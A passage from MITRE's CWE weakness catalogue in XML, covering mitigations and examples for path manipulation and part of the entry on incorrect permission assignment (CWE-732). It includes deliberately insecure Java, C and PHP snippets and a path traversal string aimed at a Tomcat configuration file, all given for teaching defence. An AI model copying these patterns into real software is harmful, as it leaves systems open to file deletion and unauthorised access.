					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a built-in path canonicalization function (such as realpath() in
							C) that produces the canonical version of the pathname, which
							effectively removes ".." sequences and symbolic links (CWE-23,
							CWE-59).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use OS-level permissions and run as a low-privileged user to limit the
							scope of any successful attack.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If you are using PHP, configure your application so that it does not
							use register_globals. During implementation, develop your application so
							that it does not rely on this feature, but be wary of implementing a
							register_globals emulation that is subject to weaknesses such as CWE-95,
							CWE-621, and similar issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use dynamic tools and techniques that interact with the software using
							large test suites with many diverse inputs, such as fuzz testing
							(fuzzing), robustness testing, and fault injection. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use tools and techniques that require manual (human) analysis, such as
							penetration testing, threat modeling, and interactive tools that allow
							the tester to record and modify an active session. These may be more
							effective than strictly automated techniques. This is especially the
							case with weaknesses that are related to design and business
							rules.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-65">
					          <Intro_Text>The following code uses input from an HTTP request to create a file
						name. The programmer has not considered the possibility that an attacker
						could provide a file name such as "../../tomcat/conf/server.xml", which
						causes the application to delete one of its own configuration files
						(CWE-22).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String rName = request.getParameter("reportName");</Code>
							              <Code>File rFile = new File("/usr/local/apfr/reports/" + rName);</Code>
							              <Code>...</Code>
							              <Code>rFile.delete();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-66">
					          <Intro_Text>The following code uses input from a configuration file to determine
						which file to open and echo back to the user. If the program runs with
						privileges and malicious users can change the configuration file, they can
						use the program to read any file on the system that ends with the extension
						.txt.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>fis = new FileInputStream(cfg.getProperty("sub")+".txt");</Code>
							              <Code>amt = fis.read(arr);</Code>
							              <Code>out.println(arr);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5748</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: external control of values for user's
						desired language and theme enables path
						traversal.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5764</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: external control of user's target language
						enables remote file inclusion.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-21">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Path Manipulation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Be careful using functions that use file names for
						identification</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO01-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names originating from untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>13</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>72</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Causal_Nature,
						Common_Consequences, Demonstrative_Examples, Description, Observed_Examples,
						Other_Notes, Potential_Mitigations, References, Relationship_Notes,
						Relationships, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Related_Attack_Patterns, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path
						Manipulation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="732" Name="Incorrect Permission Assignment for Critical Resource" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software specifies permissions for a security-critical
					resource in a way that allows that resource to be read or modified by unintended
					actors.</Description_Summary>
				        <Extended_Description>
					          <Text>When a resource is given a permissions setting that provides access to a
						wider range of actors than required, it could lead to the exposure of
						sensitive information, or the modification of that resource by unintended
						parties. This is especially dangerous when the resource is related to
						program configuration, execution or sensitive user data.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>803</Relationship_Target_ID>
					          <!--2010 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>285</Relationship_Target_ID>
					          <!--Improper Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>815</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A6 - Security Misconfiguration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>860</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 15 - Runtime Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The relationships between privileges, permissions, and actors (e.g. users
						and groups) need further refinement within the Research view. One
						complication is that these concepts apply to two different pillars, related
						to control of resources (CWE-664) and protection mechanism failures
						(CWE-396).</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Installation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>The developer may set loose permissions in order to minimize problems when
						the user first runs the program, then create documentation stating that
						permissions should be tightened. Since system administrators and users do
						not always read the documentation, this can result in insecure permissions
						being left unchanged.</Text>
				        </Mode_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>The developer might make certain assumptions about the environment in
						which the software runs - e.g., that the software is running on a
						single-user system, or the software is only accessible to trusted
						administrators. When the software is running in a different environment, the
						permissions become a problem.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to read sensitive information from the
							associated resource, such as credentials or configuration information
							stored in a file.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to modify critical properties of the
							associated resource to gain privileges, such as replacing a
							world-writable executable with a Trojan horse.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to destroy or corrupt critical data in the
							associated resource, such as deletion of records from a database.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis may be effective in detecting permission
							problems for system resources such as files, directories, shared memory,
							device interfaces, etc. Automated techniques may be able to detect the
							use of library functions that modify permissions, then analyze function
							calls for arguments that contain potentially insecure values.</Text>
						            <Text>However, since the software's intended security policy might allow
							loose permissions for certain operations (such as publishing a file on a
							web server), automated static analysis may produce some false positives
							- i.e., warnings that do not have any security consequences or require
							any code changes.</Text>
						            <Text>When custom permissions models are used - such as defining who can
							read messages in a particular forum in a bulletin board system - these
							can be difficult to detect using automated static analysis. It may be
							possible to define custom signatures that identify any custom functions
							that implement the permission checks and assignments.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated dynamic analysis may be effective in detecting permission
							problems for system resources such as files, directories, shared memory,
							device interfaces, etc.</Text>
						            <Text>However, since the software's intended security policy might allow
							loose permissions for certain operations (such as publishing a file on a
							web server), automated dynamic analysis may produce some false positives
							- i.e., warnings that do not have any security consequences or require
							any code changes.</Text>
						            <Text>When custom permissions models are used - such as defining who can
							read messages in a particular forum in a bulletin board system - these
							can be difficult to detect using automated dynamic analysis. It may be
							possible to define custom signatures that identify any custom functions
							that implement the permission checks and assignments.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-7">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual static analysis may be effective in detecting the use of custom
							permissions models and functions. The code could then be examined to
							identifying usage of the related functions. Then the human analyst could
							evaluate permission assignments in the context of the intended security
							model of the software.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Manual Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual dynamic analysis may be effective in detecting the use of
							custom permissions models and functions. The program could then be
							executed with a focus on exercising code paths that are related to the
							custom permissions. Then the human analyst could evaluate permission
							assignments in the context of the intended security model of the
							software.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Fuzzing</Method_Name>
					          <Method_Description>
						            <Text>Fuzzing is not effective in detecting this weakness.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-11.1">
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Use monitoring tools that examine the software's process as it
							interacts with the operating system and the network. This technique is
							useful in cases when source code is unavailable, if the software was not
							developed by you, or if you want to verify that the build phase did not
							introduce any new weaknesses. Examples include debuggers that directly
							attach to the running process; system-call tracing utilities such as
							truss (Solaris) and strace (Linux); system activity monitors such as
							FileMon, RegMon, Process Monitor, and other Sysinternals utilities
							(Windows); and sniffers and protocol analyzers that monitor network
							traffic.</Text>
						            <Text>Attach the monitor to the process and watch for library functions or
							system calls on OS resources such as files, directories, and shared
							memory. Examine the arguments to these calls to infer which permissions
							are being used.</Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text>Note that this technique is only useful for permissions issues related
							to system resources. It is not likely to detect application-level
							business rules that are related to permissions, such as if a user of a
							blog system marks a post as "private," but the blog system inadvertently
							marks it as "public."</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When using a critical resource such as a configuration file, check to
							see if the resource has insecure permissions (such as being modifiable
							by any regular user) [R.732.1], and generate an error or even exit the
							software if there is a possibility that the resource could have been
							modified by an unauthorized party.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Divide the software into anonymous, normal, privileged, and
							administrative areas. Reduce the attack surface by carefully defining
							distinct user groups, privileges, and/or roles. Map these against data,
							functionality, and the related resources. Then set the permissions
							accordingly. This will allow you to maintain more fine-grained control
							over your resources. [R.732.2]</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This can be an effective strategy. However, in practice, it may be
							difficult or time consuming to define these areas when there are many
							different resources or user types, or if the applications features
							change rapidly.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>During program startup, explicitly set the default permissions or
							umask to the most restrictive setting possible. Also set the appropriate
							permissions during program installation. This will prevent you from
							inheriting insecure permissions from any user who installs or runs the
							program.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For all configuration files, executables, and libraries, make sure
							that they are only readable and writable by the software's
							administrator.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Documentation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not suggest insecure configuration changes in documentation,
							especially if those configurations can extend to resources and other
							programs that are outside the scope of the application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not assume that a system administrator will manually change the
							configuration to the settings that are recommended in the software's
							manual.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-37">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Ensure that the software runs properly under the Federal Desktop Core
							Configuration (FDCC) [R.732.4] or an equivalent hardening configuration
							guide, which many organizations use to limit the attack surface and
							potential risk of deployed software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code sets the umask of the process to 0 before
						creating a file and writing "Hello world" into the file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define OUTFILE "hello.out" </Code>
							              <Code/>
							              <Code> umask(0);</Code>
							              <Code> FILE *out;</Code>
							              <Comment> /* Ignore CWE-59 (link following) for brevity */</Comment>
							              <Code> out = fopen(OUTFILE, "w");</Code>
							              <Code> if (out) {</Code>
							              <Block>
								                <Code> fprintf(out, "hello world!\n");</Code>
								                <Code> fclose(out);</Code>
							              </Block>
							              <Code> }</Code>
						            </Block>
						            <Text>After running this program on a UNIX system, running the "ls -l"
							command might return the following output:</Text>
						            <Block Block_Nature="Result">
							              <Code>-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out </Code>
						            </Block>
						            <Text>The "rw-rw-rw-" string indicates that the owner, group, and world (all
							users) can read the file and write to it.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code creates a home directory for a new user, and makes that
						user the owner of the directory. If the new directory cannot be owned by the
						user, the directory is deleted.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> function createUserDir($username){</Code>
							              <Block>
								                <Code> $path = '/home/'.$username;</Code>
								                <Code> if(!mkdir($path)){</Code>
								                <Block>
									                  <Code> return false;</Code>
								                </Block>
								                <Code> }</Code>
								                <Code> if(!chown($path,$username)){</Code>
								                <Block>
									                  <Code> rmdir($path);</Code>
									                  <Code> return false;</Code>
								                </Block>
								                <Code> }</Code>
								                <Code> return true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the optional "mode" argument is omitted from the call to
							mkdir(), the directory is created with the default permissions 0777.
